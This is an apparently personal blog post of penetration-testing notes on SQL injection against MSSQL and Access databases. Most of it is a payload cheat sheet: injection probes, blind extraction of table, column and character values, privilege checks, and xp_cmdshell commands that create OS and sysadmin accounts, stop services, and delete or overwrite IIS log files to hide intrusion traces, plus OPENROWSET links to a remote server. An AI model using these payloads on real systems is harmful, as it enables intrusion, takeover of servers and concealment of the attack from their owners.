16、渗透测试笔记_SQL注入(1)_20191106

1、Mysql服务、端口、后缀

1.1、服务

  • 重启服务,使其生效:service.msc

1.2、端口

  • TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING

1.3、后缀

  • 1.mdf-----------------数据库文件
  • 1_log.ldf-------------数据库日志文件
2、常见语句

2.1、创建数据库

CREATE DATABASE database-name

2.2、删除数据库

drop database dbname

2.3、查询所有

select * from 表名

select * from student

3、mssql数据库权限
  • **sa权限:**数据库操作、文件管理、命令执行、注册表读取等system
  • **db权限:**文件管理、数据库操作等users-administrators
  • **public权限:**数据库操作 guest-users
4、调用数据库代码
<%
set conn = server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
  • provider 后面的不用管,照写
  • source 后面的可以是ip地址 local是指本地地址
  • sa是内置用户,密码在安装过程中设置(明文显示)
  • database后面是要连接的数据库名称
5、注入语句
  • 5.1、判断是否有注入
and 1=1
and 1=2
/
-0
  • 5.2、初步判断是否是mysql
and user >0
  • 5.3、判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
  • 5.4、注入参数
'and [查询条件] and "='
  • 5.5、搜索时没过滤参数的
'and [查询条件] and '%25'='
  • 5.6、猜数表名
and (select Count(*) from [表名])>0
  • 5.7、猜字段
and (select Count(字段名) from 表名)>0
  • 5.8、猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
  • 5.9.1、猜字段的ascii值 (access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
  • 5.9.2、猜字段的ascii值 (mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
  • 5.10、测试权限结构(mssql)
and 1= (select IS_SRVROLEMEMBER('sysadmin'));--
and 1= (select IS_SRVROLEMEMBER('serveradmin'));--
and 1= (select IS_SRVROLEMEMBER('setupadmin'));--
and 1= (select IS_SRVROLEMEMBER('securityadmin'));--
and 1= (select IS_SRVROLEMEMBER('diskadmin'));--
and 1= (select IS_SRVROLEMEMBER('bulkadmin'));--
and 1= (select IS_MEMBER('db_owner'));--
  • 5.11、添加mssql和系统的账户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net user username password /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
  • 5.12、获取数据库信息

    5.12.1、数据库版本

    ?id=1 and 1=(select @@version)
    

    5.12.2、获取第一个用户数据库

    ?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
    

    5.12.3、获取第一张表 threads

    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
    

    5.12.4、获取第一列列名 uname

    ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))--
    
  • 5.13、注入点权限判断

and 1=(select is_srvrolemember('sysadmin'))       //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner'))       //判断是否是库权限
and 1=(select is_srvrolemember('public'))         //判断是否是public权限
and 1=convert(int,db_name())或1=(select db_name())//当前数据库名
and 1=(select @@servername)                       //本地服务名
and 1=(select HAS_DBACCESS('master'))             //判断是否有库读取权限
6、扩展存储注入攻击

6.1、检测与恢复扩展存储

  • 判断xp_cmdshell 扩展存储是否存在

    and 1=(select count(*) from master.dbo.sysobjects where xtype='x' AND name='xp_cmdshell')

  • 判断xp_regread扩展存储过程是否存在

    and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

  • 恢复

    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

    exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

6.2、sa权限下扩展存储注入攻击

  • 新建用户

    ;exec master..xp_cmdshell 'net user test test /add'

    exec master..xp_cmdshell 'net localgroup administrators test /add'

  • 添加和删除一个SA权限的用户test

    exec master.dbo.sp_addlogin test password

    exec master.dbo.sp_addsrvrolemember test,sysadmin

  • 停掉或激活某个服务

    exec master..xp_servicecontrol 'stop','schedule'

    exec master..xp_servicecontrol 'start','schedule'

6.3、sa权限下扩展存储攻击利用方法

  • 删除日志记录

    ;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'

  • 替换日志记录

    ;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'

  • 开启远程数据库1

    ;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table')

  • 开启远程数据库2

    ;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Adress=202.100.100.1,1433;','select * from table')

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值